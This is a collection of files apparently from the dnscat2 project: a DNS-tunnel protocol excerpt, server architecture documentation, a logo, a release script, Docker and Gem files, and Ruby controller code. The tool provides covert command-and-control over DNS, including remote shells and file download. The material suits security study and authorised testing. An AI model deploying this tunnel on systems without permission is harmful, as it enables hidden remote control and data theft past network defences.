755 ### MESSAGE_TYPE_MSG: [0x01]
756
757 - (uint16_t) packet_id
758 - (uint8_t) message_type [0x01]
759 - (uint16_t) session_id
760 - (uint16_t) seq
761 - (uint16_t) ack
762 - (byte[]) data
763
764 #### Notes
765
766 - If the SYN contained OPT_COMMAND, the 'data' field uses the command protocol. See [command_protocol.md](command_protocol.md).
767
768 ### MESSAGE_TYPE_FIN: [0x02]
769
770 - (uint16_t) packet_id
771 - (uint8_t) message_type [0x02]
772 - (uint16_t) session_id
773 - (ntstring) reason
774
775 #### Notes
776
777 - Once a FIN has been sent, the client or server should no longer
778 attempt to respond to anything from that connection.
779
780 ### MESSAGE_TYPE_ENC: [0x03]
781
782 - (uint16_t) packet_id
783 - (uint8_t) message_type [0x03]
784 - (uint16_t) session_id
785 - (uint16_t) subtype
786 - (uint16_t) flags
787 - If subtype is ENC_SUBTYPE_INIT:
788 - (byte[32]) public_key_x
789 - (byte[32]) public_key_y
790 - If subtype is ENC_SUBTYPE_AUTH:
791 - (byte[32]) authenticator
792
793 #### Notes
794 - An `ENC|INIT` packet (`ENC` with subtype `INIT` should be sent
795 immediately if the client wants to use encryption
796 - The server *MUST* respond to an `ENC` packet with its own `ENC` packet
797 of the same subtype
798 - If the client opts for encryption, the server must opt for
799 encryption; if the client authenticates, the server must
800 authenticate
801 - The server *MUST* respond to an `ENC|INIT` packet with the same crypto
802 keys - if any - that the client used to send the `ENC|INIT` message.
803 Until a client receives the `ENC|INIT` response, it has no way of
804 knowing what the key shared key is going to be!
805 - The public keys and authenticators are encoded as 32-byte hex strings,
806 padded with zeroes on the left
807
808 Here's the Ruby code for converting an integer `bn` to a binary string:
809
810 [bn.to_s(16).rjust(32*2, "\0")].pack("H*")
811
812 And for going from a `binary` blob to an integer:
813
814 binary.unpack("H*").pop().to_i(16)
815
816 ### MESSAGE_TYPE_PING: [0xFF]
817
818 - (uint16_t) packet_id
819 - (uint8_t) message_type [0xFF]
820 - (uint16_t) ping_id
821 - (ntstring) data
822
823 #### Notes
824
825 - The 'ping_id' field should be simply echoed back from the server as if
826 it was data
0 # Server
1
2 The server is written in Ruby, and can be found in the server/
3 directory.
4
5 I'm a fan of being fairly verbose when programming, so you'll find my
6 style of writing Ruby very C-like. I strongly believe in always using
7 parenthesis, for example.
8
9 Other than nitpicky stuff, there aren't a lot of style conventions that
10 I insist on. I'm still learning the best way to write Ruby, and it's
11 reflected in the code.
12
13 In general, if you're making changes, try to copy the style of the rest
14 of the file.
15
16 I've only really tested the server on Linux. I don't know if it runs on
17 Linux, OS X, etc, but it *should* run anywhere that supports Ruby.
18
19 ## Dependencies
20
21 At the moment, the only dependency is on Trollop. Trollop is a
22 command-line parser, and I use it to parse the arguments that the user
23 entered, as well as commands the users type into the various windows.
24
25 ## Structure
26
27 The main file is server/dnscat2.rb. It processes commandline arguments
28 (using Trollop), sets up the global settings in the `Settings` class,
29 and starts up a DNS Tunnel Driver (see below).
30
31 Like the client, to understand the structure of the rest of the progra,
32 it's helpful to understand how the dnscat protocol works - see
33 [protocol.md](protocol.md) for that.
34
35 If you read the section on the client, you'll find that this is very
36 similar - in fact, I re-use a lot of text. The reason is pretty obvious:
37 I intentionally structured the client and server similarly.
38
39 ### tunnel_driver
40
41 The actual code that touches the network is called a tunnel_driver, and,
42 like on the client, is located in tunnel_drivers/. An example of a
43 tunnel driver - and the only tunnel_driver that exists as of this
44 writing - is the DNS driver, which is implemented in
45 [driver_dns.rb](/server/tunnel_drivers/driver_dns.rb). The protocol I
46 invented for doing packets over DNS (sort of akin to layer 2) is called
47 the "DNS Tunneling Protocol", and is discussed in detail in
48 [protocol.md](protocol.md).
49
50 The tunnel_driver has no real understanding of the dnscat protocol or of
51 sessions or 'connections' or anything like that. The "dnscat protocol"
52 happens at a higher layer (in sessions), and is tunnel_driver agnostic.
53 All it does is take data that's embedded in a packet and convert it into
54 a stream of bytes.
55
56 When a tunnel_driver is created, it must create the socket(s) it needs
57 to listen to incoming traffic. All incoming traffic - regardless of
58 whether it's part of a session, regardless of which tunnel_driver is
59 receiving the traffic, etc, all data is sent to the
60 [controller](#controller).
61
62 When data comes in, in any form, it's handed to the controller. When it
63 does so, the controller can return outbound data.
64
65 There can be multiple tunnel drivers running, but only ever a single
66 controller.
67
68 +---------------+
69 | tunnel_driver | (one or more)
70 +---------------+
71
72 ### controller
73
74 The controller is the go-between from the
75 [tunnel_driver](#tunnel_driver) to the [sessions](#session). It's
76 essentially a session manager - it creates, destroys, and can enumerate
77 sessions as needed. It's implemented in
78 [controller.rb](/server/controller/controller.rb)
79
80 When data comes in to a `tunnel_driver`, it's decoded and then sent to
81 the controller. The controller parses it just enough to get the
82 `session_id` value from the header, then it finds the session that
83 corresponds to that id and sends the data to it for processing. If
84 there's no such session, and it's a valid SYN packet, the session is
85 created.
86
87 There's actually one type of packet that doesn't make it up to the
88 session - `MESSAGE_TYPE_PING`. When the Controller sees a
89 `MESSAGE_TYPE_PING` request, it immediately returns a
90 `MESSAGE_TYPE_PING` response. Since a PING isn't part of a session, it
91 can't be handled as one.
92
93 In the future, there will be another message type -
94 `MESSAGE_TYPE_DOWNLOAD` - that is also handled by the Controller.
95
96 Outgoing data is queued up in the sessions. When a message for a
97 particular session is received, the controller calls a method on the
98 session and it responds with data it has ready.
99
100 The controller knows how to find and talk to sessions, but it doesn't
101 know anything about the `tunnel_driver` - it just gets messages from it.
102 In fact, it's possible for the server to receive multiple messages from
103 multiple different tunnel drivers as part of the same session, and the
104 controller would never even know.
105
106 +---------------+
107 | tunnel_driver | (one or more)
108 +---------------+
109 |
110 v
111 +------------+
112 | controller | (only 1, ever)
113 +------------+
114
115 ### session
116
117 A session is akin to a TCP connection. It handles all the state - the
118 state of the session, the sequence/acknowledgement number, and so on.
119
120 Each session comes with a [driver](#drivers). The driver is what knows
121 how to handle incoming/outgoing data - for example, what to display, how
122 to handle user input, and so on. We'll look at the driver more below.
123
124 When a message arrives, the session will parse it and determine if
125 there's any actual data in the message. The data (if any) is
126 passed to the driver, and any data the driver is waiting to send out is
127 returned to the session. The session takes that data, stuffs it into a
128 dnscat2 packet (when it can), and returns it.
129
130 The [session module](/server/controller/session.rb) is where the actual
131 dnscat protocol (see [protocol.md](protocol.md)) is implemented. The
132 individual dnscat2 packets is done in
133 [packet.rb](/server/controller/packet.rb). It's agnostic to both its
134 back end (a tunnel_driver) and its front end (just a driver with a well
135 known interface).
136
137 The session knows which driver it's using, but has no knowledge of which
138 other sessions exist or of the controller.
139
140 +---------------+
141 | tunnel_driver | (one or more)
142 +---------------+
143 |
144 v
145 +------------+
146 | controller | (only 1)
147 +------------+
148 |
149 (has one or more)
150 |
151 v
152 +---------+
153 | session | (one per connection)
154 +---------+
155
156 ### drivers
157
158 The final part of the structure is drivers, which are stored in drivers/. Each
159 session has exactly one driver. The driver defines how it interacts with the
160 outside world (or with the program itself). A driver has the opportunity
161 to define a sort of "sub-protocol" (think application-level protocol) on
162 top of dnscat. The console driver (`driver_console`) is simply
163 text-based - everything is displayed as text. The command driver
164 (`driver_command`), however, defines its own protocol.
165
166 Here is more details about the currently extant drivers:
167
168 * [driver_console](/server/drivers/driver_console.rb) - the incoming
169 messages are displayed as text, and anything the user types is sent
170 back to the server, also as text (encoded in the dnscat protocol, of
171 course). This can be used for 'console' programs (where the users can
172 type back and forth), but can also be used for, for example, shells.
173 The shell runs on the client, and sends its stdin/stdout to the
174 server, which simply displays it.
175
176 * [driver_command](/server/drivers/driver_command.rb) - this is a
177 sub-protocol of the dnscat protocol. It defines a way to send commands
178 to the client - such as 'download file' - and to handle the responses
179 appropriately. What the user types in are commands, similar to
180 meterpreter
181 (see [driver_command_commands](/server/drivers/driver_command_commands.rb)).
182 What's displayed on the screen is the results of parsing the incoming
183 command packets.
184
185 * [driver_process](/server/drivers/driver_process.rb) - this is a little
186 bit like `driver_console`, with one important distinction: instead of
187 simply displaying the incoming traffic on a console, it starts a
188 process and sends the process the incoming traffic. The program's
189 output is sent back across the wire to the client. This can be used
190 for some interesting tunnels, but is ultimately rather dangerous,
191 because it potentially compromises the security of the server by
192 sending untrusted input to other processes.
193
194 The driver runs in a vacuum - it doesn't know anything else about what
195 dnscat2 is up to. All it knows is that it's receiving data and getting
196 polled for its own data. Other than that, it's on its own. It doesn't
197 know about [sessions](#session) or [controllers](#controller) or
198 [tunnel_drivers](#tunnel_driver) or anything.
199
200 +---------------+
201 | tunnel_driver | (one or more)
202 +---------------+
203 |
204 v
205 +------------+
206 | controller | (only 1)
207 +------------+
208 |
209 (has one or more)
210 |
211 v
212 +---------+
213 | session | (one per connection)
214 +---------+
215 |
216 (has exactly one)
217 |
218 v
219 +--------+
220 | driver | (one per session)
221 +--------+
222
223 ## DNS
224
225 The original version of dnscat2 (before beta 0.03) used rubydns for all
226 things DNS. rubydns's backend was abstracted into celluloid-dns, but
227 when I tried to use celluloid-dns, none of their examples worked and you
228 had to import a bunch of things in the correct order. It was really a
229 mess (I think it was fairly new at the time).
230
231 So, knowing that I only really need a small subset of DNS functionality
232 (the same subset as I implemented in the client :) ), I wrote a DNS
233 library called [DNSer](/server/libs/dnser.rb).
234
235 DNSer is an asynchronous resolver or server. It runs in its own thread,
236 and performs all of its actions via process blocks.
237
238 Sending a query through DNSer is as simple as:
239
240 DNSer.query("google.com") do |response|
241 puts(response)
242 end
243
244 `response` is an instance of DNSer::Packet. The actual query is done in
245 a thread, so that block returns immediately. If you're writing a program
246 just to do a lookup, you can wait on the thread:
247
248 t = DNSer.query("google.com") do |response|
249 puts(response)
250 end
251 t.join()
252
253 There are also a bunch of optional parameters you can pass:
254 * server (default: "8.8.8.8")
255 * port (default: 53)
256 * type (default: DNSer::Packet::TYPE_A)
257 * cls (default: DNSer::Packet::CLS_IN)
258 * timeout (default: 3)
259
260 Creating a DNS server is likewise easy! Create a new instance of the
261 class to bind the socket (this can throw an exception):
262
263 dnser = DNSer.new("0.0.0.0", 53)
264
265 Then set up the block:
266
267 dnser.on_request() do |transaction|
268 puts(transaction.questions[0] || "There was no question!")
269 transaction.error!(DNSer::Packet::RCODE_NAME_ERROR)
270 end
271
272 Like queries, it's asynchronous and that function returns immediately.
273 You can use the `DNSer#wait` method to wait until the listener ends.
274
275 When the request comes, it's sent as a transaction. The transaction
276 contains the request (in `transaction.request`) and a skeleton of the
277 response (in `transaction.response`).
278
279 There are a number of functions (you'll have to look at [the
280 implementation](/server/libs/dnser.rb) for full details), but the
281 important ones are the functions that have bangs ('!') in their names -
282 `DNSer::Transaction#reply!`, `DNSer::Transaction#error!, etc.
283
284 Functions that end with a bang will send a response to the requester.
285 Once one of them has been called, any additional attempts to modify or
286 send the message will result in an exception (although it's still
287 possible to read values from it).
288
289 One mildly interesting function is `DNSer::Transaction#passthrough`,
290 which sends the request to an upstream server. When the response comes
291 back, it's automatically sent back to the client. Thus, it behaves like
292 a recursive DNS server! An optional `Proc` can be passed to
293 `passthrough` to intercept the response, too.
294
295 ## SWindow
296
297 Before beta0.03, the UI for the server was a bit of a mess, coupled with
298 the functionality really badly.
299
300 After getting sick of the coupling, I decided to take care of it and
301 wrote [SWindow](/server/libs/swindow.rb). SWindow tries to simulate a
302 multi-window environment using only `Readline`, which works okay, but
303 not great. By keeping it fairly abstract, it'll be trivial to add a
304 NCurses or Web-based interface down the road.
305
306 When SWindow() is included, it immediately starts an input thread,
307 waiting for user input. When the user presses <enter>, the input is sent
308 to the active window.
309
310 Windows are created by calling SWindow.new(), and passing in a bunch of
311 parameters (see [the implementation](/server/libs/swindow.rb) for full
312 details).
313
314 Windows can be switched to by calling `SWindow#activate`. That prints
315 the window's history to the screen and starts accepting commands for
316 that window. Windows can be temporarily 'closed' by calling
317 `SWindow#deactivate` or permanently closed with `SWindow#close`. Those
318 are essentially UI things, nothing about the window itself changes other
319 than being marked as closed and not showing up in lists.
320
321 There is also a hierarchy amongst windows - each window can have a
322 parent and one or more children. In addition to displaying messages to
323 the window, messages can also be displayed on
324 child/descendent/parent/ancestor windows. For example:
325
326 window.with({:to_ancestors=>true}) do
327 window.puts("Hi")
328 end
329
330 will display on the window itself, as well as on all of its parents!
331
332 When an active window is closed or deactivated, the parent window is
333 activated.
334
335 ## Commander
336
337 [Commander](/server/libs/commander.rb) is a fairly simple
338 command-parsing engine used to parse commands typed by users into a
339 window. It uses `Trollop` and `shellwords` behind the scenes.
340
341 Classes that need to parse user commands
342 ([controller.rb](/server/controller/controller.rb) and
343 [driver_command.rb](/server/drivers/driver_command.rb)) can set up a
344 bunch of commands. Later, `Commander#feed` can be called with a line
345 that the user typed, and the appropriate callback with the appropriate
346 arguments will be called.
347
348 ## Settings
349
350 The [Settings class](/server/libs/settings.rb) was written to store
351 settings for either the program (global settings, stored in
352 `Settings::GLOBAL`) or for sessions.
353
354 The settings class is instantiated by creating a new instance:
355
356 settings = Settings.new()
357
358 Then, settings have to be created with default values and parsers and
359 such:
360
361 settings.create('mysetting', Settings::TYPE_STRING, '', "This is some documentation")
362 settings.create('intsetting', Settings::TYPE_INTEGER, 123, "This is some documentation")
363 settings.create('boolsetting', Settings::TYPE_BOOLEAN, true, "This is some documentation")
364
365 Once a setting is created, it can be set and retrieved:
366
367 settings.set('mysetting', '123')
368
369 Based on the type, some massaging and error checking are done. For
370 example, integers are converted to actual integers, and booleans can
371 understand the strings 'true', 'yes', 'y', etc.
372
373 Optionally, a `proc` can be passed in to handle changes:
374
375 settings.create('mysetting', Settings::TYPE_STRING, '', "This is some documentation") do |oldval, newval|
376 puts("Changing mysetting from '#{oldval}' to '#{newval}'")
377 end
378
379 If an exception is thrown in the block, the change isn't cancelled:
380
381 settings.create('intsetting', Settings::TYPE_INTEGER, 123, "This is some documentation") do |oldval, newval|
382 if(newval < 0 || newval > 1000)
383 raise(Settings::ValidationError, "Value has to be between 0 and 1000!")
384 end
385 end
386
387 It's up to the function calling `Settings#set` to handle that exception.
388
389 ## Parsing and error handling
390
391 Parsing is almost entirely done with `String#unpack` and building packets
392 is almost entirely done with `Array#pack`.
393
394 The error handling on the server is designed to be fairly robust (unlike
395 the client). Parsing is always done in error handling blocks, and thrown
396 exceptions are handled appropriately (usually by killing the session
397 cleanly).
398
399 Typically, if something goes wrong, raising a DnscatException() is the
400 safest way to bail out safely.
401
402
0 <?xml version="1.0" encoding="UTF-8" standalone="no"?>
1 <!-- Created with Inkscape (http://www.inkscape.org/) -->
2
3 <svg
4 xmlns:dc="http://purl.org/dc/elements/1.1/"
5 xmlns:cc="http://creativecommons.org/ns#"
6 xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
7 xmlns:svg="http://www.w3.org/2000/svg"
8 xmlns="http://www.w3.org/2000/svg"
9 xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
10 xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
11 width="64"
12 height="64"
13 viewBox="0 0 64.000002 63.999999"
14 id="svg2"
15 version="1.1"
16 inkscape:version="0.91 r13725"
17 sodipodi:docname="dnscat-logo.svg"
18 inkscape:export-filename="C:\Users\Ron\Desktop\dnscat2\img\dnscat-logo.png"
19 inkscape:export-xdpi="90"
20 inkscape:export-ydpi="90">
21 <defs
22 id="defs4" />
23 <sodipodi:namedview
24 id="base"
25 pagecolor="#ffffff"
26 bordercolor="#666666"
27 borderopacity="1.0"
28 inkscape:pageopacity="0.0"
29 inkscape:pageshadow="2"
30 inkscape:zoom="5.6568543"
31 inkscape:cx="67.432193"
32 inkscape:cy="-1.4927901"
33 inkscape:document-units="px"
34 inkscape:current-layer="g3405"
35 showgrid="false"
36 fit-margin-top="0"
37 fit-margin-left="0"
38 fit-margin-right="0"
39 fit-margin-bottom="0"
40 inkscape:window-width="1920"
41 inkscape:window-height="1011"
42 inkscape:window-x="-4"
43 inkscape:window-y="-4"
44 inkscape:window-maximized="1"
45 units="px" />
46 <metadata
47 id="metadata7">
48 <rdf:RDF>
49 <cc:Work
50 rdf:about="">
51 <dc:format>image/svg+xml</dc:format>
52 <dc:type
53 rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
54 <dc:title></dc:title>
55 </cc:Work>
56 </rdf:RDF>
57 </metadata>
58 <g
59 inkscape:label="Layer 1"
60 inkscape:groupmode="layer"
61 id="layer1"
62 transform="translate(-50.176175,-56.249991)">
63 <g
64 id="g3405">
65 <g
66 transform="matrix(0.64,0,0,0.81731579,50.210289,47.385178)"
67 id="g3337">
68 <g
69 id="g3339">
70 <g
71 id="g3390">
72 <path
73 style="fill:#000000"
74 inkscape:connector-curvature="0"
75 d="m 43.073,11.12 c 8.088,-0.603 16.313,-0.275 24.205,1.705 1.342,0.31 2.64,0.781 3.976,1.111 2.207,0.849 4.422,1.701 6.519,2.809 4.116,2.117 7.89,4.921 11.041,8.318 6.222,6.678 9.94,15.483 11.005,24.503 0.244,1.88 0.16,3.777 0.174,5.667 0.005,11.297 -0.013,22.594 0.007,33.89 -2.68,0.059 -5.364,0.01 -8.046,0.025 -29.468,0 -58.935,0 -88.403,0 C 2.367,89.133 1.182,89.182 0,89.123 0.02,76.827 0.002,64.532 0.008,52.236 -0.05,49.54 0.392,46.859 0.977,44.236 2.667,36.851 6.243,29.835 11.57,24.409 14.351,21.54 17.594,19.132 21.103,17.224 27.844,13.55 35.464,11.76 43.073,11.12 Z m -12.971,5.286 c -0.162,0.052 -0.324,0.107 -0.473,0.192 0.86,1.971 1.656,3.97 2.511,5.941 3.365,-1.031 6.834,-1.725 10.336,-2.077 2.068,-0.25 4.149,-0.301 6.228,-0.402 -0.034,-2.145 0.006,-4.294 -0.093,-6.437 -6.255,0.073 -12.538,0.88 -18.509,2.783 z m 21.41,-2.776 c -0.04,1.074 0.024,2.15 -0.058,3.224 0.034,1.073 -0.035,2.147 0.01,3.22 1.067,0.079 2.142,0.049 3.207,0.153 4.312,0.262 8.606,0.962 12.737,2.234 0.843,-2.003 1.705,-3.999 2.509,-6.016 -5.944,-1.88 -12.18,-2.754 -18.405,-2.815 z m 20.972,3.779 c -0.846,1.965 -1.65,3.949 -2.493,5.916 0.383,0.231 0.821,0.348 1.225,0.538 4.001,1.678 7.668,4.144 10.711,7.238 1.74,-1.261 3.501,-2.494 5.233,-3.766 -0.673,-0.832 -1.473,-1.553 -2.241,-2.292 -3.609,-3.304 -7.863,-5.897 -12.435,-7.634 z m -45.712,0.198 c -5.594,2.26 -10.749,5.722 -14.706,10.3 -0.037,0.056 -0.109,0.165 -0.146,0.221 1.705,1.192 3.388,2.418 5.081,3.628 0.103,0.086 0.195,0.076 0.277,-0.027 2.718,-2.992 6.062,-5.391 9.7,-7.137 0.849,-0.415 1.728,-0.761 2.588,-1.15 -0.809,-1.963 -1.671,-3.905 -2.438,-5.882 -0.123,-0.012 -0.242,0.004 -0.356,0.047 z m 56.975,15.518 c 0.132,0.277 0.343,0.503 0.524,0.746 2.399,3.171 4.167,6.8 5.292,10.608 0.213,0.636 0.325,1.312 0.556,1.936 2.119,-0.112 4.238,-0.311 6.358,-0.417 0.058,-0.282 -0.075,-0.557 -0.123,-0.831 -1.306,-5.699 -3.8,-11.143 -7.399,-15.76 -1.737,1.238 -3.46,2.495 -5.208,3.718 z M 10.168,30.271 c -2.021,2.742 -3.65,5.769 -4.874,8.946 -1.014,2.67 -1.797,5.44 -2.206,8.269 2.134,0.142 4.266,0.282 6.396,0.451 0.121,-0.846 0.319,-1.679 0.529,-2.505 1.034,-3.994 2.746,-7.834 5.193,-11.165 0.064,-0.11 0.146,-0.21 0.203,-0.326 -1.656,-1.148 -3.285,-2.338 -4.921,-3.516 -0.103,-0.047 -0.194,-0.195 -0.32,-0.154 z m 80.539,18.793 c -0.017,0.041 -0.048,0.124 -0.063,0.166 0.149,1.188 0.313,2.381 0.273,3.581 0.011,4.754 -0.022,9.51 0.016,14.263 2.105,-0.021 4.214,-0.024 6.319,0.001 0.099,-0.405 0.028,-0.827 0.048,-1.238 0,-4.227 0,-8.453 0,-12.68 0.027,-1.497 -0.087,-2.994 -0.292,-4.477 -2.104,0.077 -4.197,0.339 -6.301,0.384 z M 2.761,50.176 c -0.021,0.303 -0.062,0.604 -0.062,0.909 0.002,5.032 0,10.064 0.001,15.097 0.006,0.297 -0.034,0.603 0.048,0.894 C 4.85,67.049 6.953,67.059 9.056,67.071 9.069,63.97 9.059,60.87 9.062,57.769 9.08,55.389 9.026,53.007 9.092,50.627 6.984,50.452 4.871,50.325 2.761,50.176 Z M 2.725,69.77 c -0.057,2.067 -0.008,4.14 -0.024,6.21 0.006,3.469 -0.013,6.938 0.01,10.407 1.933,0.024 3.866,-0.001 5.8,0.013 0.182,-0.001 0.368,0.004 0.545,-0.05 C 9.016,84.007 9.063,81.664 9.031,79.323 9.01,76.14 9.087,72.961 9.063,69.778 6.949,69.772 4.836,69.789 2.725,69.77 Z m 88.199,0.001 c -0.009,1.876 -0.023,3.754 0.016,5.632 -0.008,3.656 0.012,7.312 -0.009,10.969 2.117,0.05 4.24,0.021 6.359,0.015 0.022,-2.662 0.004,-5.324 0.01,-7.987 -0.018,-2.877 0.033,-5.756 -0.024,-8.63 -2.118,0.015 -4.235,0.011 -6.352,0.001 z"
76 id="path3341" />
77 </g>
78 </g>
79 </g>
80 <path
81 style="fill:#ffffff"
82 id="path3361"
83 d="m 103.53767,88.255175 c -3.579714,0 -6.331824,2.586285 -6.331824,6.01603 l 0,18.649715 c 0,2.00154 -0.31709,2.40642 -2.40613,2.40642 l -0.8169,0 c -0.35979,-7.881 -1.98544,-16.503209 -6.25959,-20.475596 3.04848,-1.800596 5.08729,-5.019171 5.08729,-8.702177 0,-3.690239 -2.0476,-6.914832 -5.10613,-8.71302 l -1.80083,-6.327061 -1.44167,5.06369 c -0.74909,-0.160021 -1.52644,-0.25087 -2.32577,-0.25087 -0.79932,0 -1.576665,0.09085 -2.325753,0.25087 l -1.441669,-5.06369 -1.800838,6.327061 c -3.058518,1.798188 -5.106121,5.022781 -5.106121,8.71302 0,3.683006 2.038804,6.901581 5.087287,8.702177 -4.940359,4.592028 -6.343096,15.399276 -6.343096,24.085196 l 19.57055,0 4.28985,0 0.73339,0 c 4.16677,0 6.173594,-2.02379 6.173594,-6.01602 l 0,-18.649715 c 0,-1.41678 1.08565,-2.406418 2.56436,-2.406418 1.04044,0 1.88372,-0.807949 1.88372,-1.804807 0,-0.996859 -0.84328,-1.804805 -1.88372,-1.804805 z"
84 inkscape:connector-curvature="0" />
85 </g>
86 </g>
87 </svg>
0 #!/bin/bash
1
2 # packet.sh
3 # By Ron
4 #
5 # See LICENSE.md
6
7 die() { echo "$@" 1>&2 ; exit 1; }
8
9 if [ -z "$1" ]; then
10 die "Usage: $0 <version>"
11 fi
12 VERSION=$1
13
14 VERSION_FILES="client/dnscat.c server/dnscat2.rb"
15 for i in $VERSION_FILES; do
16 if ! fgrep -q $VERSION $i; then
17 echo "WARNING: $i doesn't contain '$VERSION'"
18 echo "(press ENTER to continue)"
19 read
20 fi
21 done
22
23 FILES="bin/dnscat2-linux-x32 bin/dnscat2-linux-x64 bin/dnscat2-win32.exe"
24
25 echo "Expected files:"
26 for i in $FILES; do
27 echo "* $i"
28 done
29
30 echo "Cleaning up..."
31 make clean >/dev/null || die "Problem cleaning the sourcecode"
32
33 echo "Copying the client sourcecode to bin/..."
34 rm -rf bin/dnscat2-client-source
35 cp -r client/ bin/dnscat2-client-source || die "Failed to copy"
36 FILES="$FILES bin/dnscat2-client-source"
37
38 echo "Copying the server sourcecode to bin/..."
39 rm -rf bin/dnscat2-server
40 cp -r server/ bin/dnscat2-server || die "Failed to copy"
41 FILES="$FILES bin/dnscat2-server"
42
43 echo "Creating dist/ directory"
44 mkdir dist/ >/dev/null 2>&1
45
46 echo "Compressing files..."
47 ZIPS=""
48
49 cd bin
50 for i in $FILES; do
51 i=`basename $i`
52
53 if [ -e "$i" ]; then
54
55 echo "Making sure $i is the proper version..."
56 if ! fgrep -qra $VERSION $i; then
57 echo "WARNING: $i doesn't contain '$VERSION'"
58 echo "(press ENTER to continue)"
59 read
60 fi
61
62 OUTNAME="dist/$(basename $i .exe)-$VERSION"
63
64 echo "Compressing $i..."
65
66 if [[ $i == *"win"* ]]; then
67 zip -qr ../$OUTNAME.zip $i || die "Failed to create $i.zip"
68 ZIPS="$ZIPS $OUTNAME.zip"
69 elif [[ $i == *"linux"* ]]; then
70 tar -cjf ../$OUTNAME.tar.bz2 $i || die "Failed to create $i.tar.bz2"
71 ZIPS="$ZIPS $OUTNAME.tar.bz2"
72
73 tar -czf ../$OUTNAME.tgz $i || die "Failed to create $i.tgz"
74 ZIPS="$ZIPS $OUTNAME.tgz"
75 else
76 zip -qr ../$OUTNAME.zip $i || die "Failed to create $i.zip"
77 ZIPS="$ZIPS $OUTNAME.zip"
78
79 tar -cjf ../$OUTNAME.tar.bz2 $i || die "Failed to create $i.tar.bz2"
80 ZIPS="$ZIPS $OUTNAME.tar.bz2"
81
82 tar -czf ../$OUTNAME.tgz $i || die "Failed to create $i.tgz"
83 ZIPS="$ZIPS $OUTNAME.tgz"
84 fi
85 else
86 echo "Missing file warning: $i"
87 fi
88
89 done
90
91 cd ..
92
93 echo "Signing files..."
94 for i in $ZIPS; do
95 gpg -q -b $i || die "Failed to sign $i"
96 done
0 FROM ruby:2.1-onbuild
1 MAINTAINER Mark Percival <[email protected]>
2
3 EXPOSE 53/udp
4
5 CMD ["ruby ./dnscat2.rb"]
6
7 # Run it
8 # docker run -p 53:53/udp -it --rm mpercival/dnscat2 ruby ./dnscat2.rb foo.org
0 # Gemfile
1 # By Ron Bowes
2 #
3 # See LICENSE.md
4
5 source 'https://rubygems.org'
6
7 gem 'trollop' # Commandline parsing
8 gem 'salsa20' # Encrypted connections
9 gem 'sha3' # Message signing + key derivation
10 gem 'ecdsa' # Used for ECDH key exchange
0 GEM
1 remote: https://rubygems.org/
2 specs:
3 ecdsa (1.2.0)
4 salsa20 (0.1.1)
5 sha3 (1.0.1)
6 trollop (2.1.2)
7
8 PLATFORMS
9 ruby
10
11 DEPENDENCIES
12 ecdsa
13 salsa20
14 sha3
15 trollop
0 ##
1 # controller.rb
2 # Created April, 2014
3 # By Ron Bowes
4 #
5 # See: LICENSE.md
6 #
7 # This keeps track of all sessions.
8 ##
9
10 require 'controller/controller_commands'
11 require 'controller/packet'
12 require 'controller/session'
13 require 'libs/commander'
14 require 'libs/dnscat_exception'
15
16 require 'trollop'
17
18 class Controller
19 include ControllerCommands
20
21 attr_accessor :window
22
23 def initialize()
24 @commander = Commander.new()
25 @sessions = {}
26
27 _register_commands()
28
29 WINDOW.on_input() do |data|
30 data = Settings::GLOBAL.do_replace(data)
31 begin
32 @commander.feed(data)
33 rescue ArgumentError => e
34 WINDOW.puts("Error: #{e}")
35 WINDOW.puts()
36 @commander.educate(data, WINDOW)
37 end
38 end
39 end
40
41 def _get_or_create_session(id)
42 if(@sessions[id])
43 return @sessions[id]
44 end
45
46 return (@sessions[id] = Session.new(id, WINDOW))
47 end
48
49 def session_exists?(id)
50 return !@sessions[id].nil?
51 end
52
53 def find_session(id)
54 return @sessions[id]
55 end
56
57 def find_session_by_window(id)
58 id = id.to_s()
59 @sessions.each_value do |session|
60 if(session.window.id.to_s() == id)
61 return session
62 end
63 end
64
65 return nil
66 end
67
68 def kill_session(id)
69 session = find(id)
70
71 if(!session.nil?)
72 session.kill()
73 end
74 end
75
76 def list()
77 return @sessions
78 end
79
80 def feed(data, max_length)
81 # If it's a ping packet, handle it up here
82 if(Packet.peek_type(data) == Packet::MESSAGE_TYPE_PING)
83 WINDOW.puts("Responding to ping packet: #{Packet.parse(data).body}")
84 return data
85 end
86
87 session_id = Packet.peek_session_id(data)
88 session = _get_or_create_session(session_id)
89
90 return session.feed(data, max_length)
91 end
92 end
0 ##
1 # controller_commands.rb
2 # Created August 29, 2015
3 # By Ron Bowes
4 #
5 # See: LICENSE.md
6 ##
7
8 require 'tunnel_drivers/tunnel_drivers'
9
10 module ControllerCommands
11
12 def _register_commands()
13 @commander.register_alias('sessions', 'windows')
14 @commander.register_alias('session', 'window')
15 @commander.register_alias('q', 'quit')
16 @commander.register_alias('exit', 'quit')
17 @commander.register_alias('h', 'help')
18 @commander.register_alias('?', 'help')
19
20 @commander.register_command('help',
21 Trollop::Parser.new do
22 banner("Shows a help menu")
23 end,
24
25 Proc.new do |opts, optval|
26 @commander.help(WINDOW)
27 end,
28 )
29
30 @commander.register_command('echo',
31 Trollop::Parser.new do
32 banner("Print stuff to the terminal")
33 end,
34
35 Proc.new do |opts, optarg|
36 WINDOW.puts(optarg)
37 end
38 )
39
40 @commander.register_command('windows',
41 Trollop::Parser.new do
42 banner("Lists the current active windows")
43 opt :all, "Show closed windows", :type => :boolean, :required => false
44 end,
45
46 Proc.new do |opts, optarg|
47 CommandHelpers.display_windows(WINDOW, opts[:all], WINDOW)
48 end,
49 )
50
51 @commander.register_command("window",
52 Trollop::Parser.new do
53 banner("Interact with a window")
54 opt :i, "Interact with the chosen window", :type => :string, :required => false
55 end,
56
57 Proc.new do |opts, optarg|
58 if(opts[:i].nil?)
59 CommandHelpers.display_windows(WINDOW, opts[:all], WINDOW)
60 next
61 end
62
63 window = SWindow.get(opts[:i])
64 if(window.nil?)
65 WINDOW.puts("Window #{opts[:i]} not found!")
66 WINDOW.puts()
67 CommandHelpers.display_windows(WINDOW, false, WINDOW)
68 next
69 end
70
71 window.activate()
72 end
73 )
74
75 @commander.register_command("set",
76 Trollop::Parser.new do
77 banner("set <name>=<value>")
78 end,
79
80 Proc.new do |opts, optarg|
81 if(optarg.length == 0)
82 WINDOW.puts("Usage: set <name>=<value>")
83 WINDOW.puts()
84 WINDOW.puts("** Global options:")
85 WINDOW.puts()
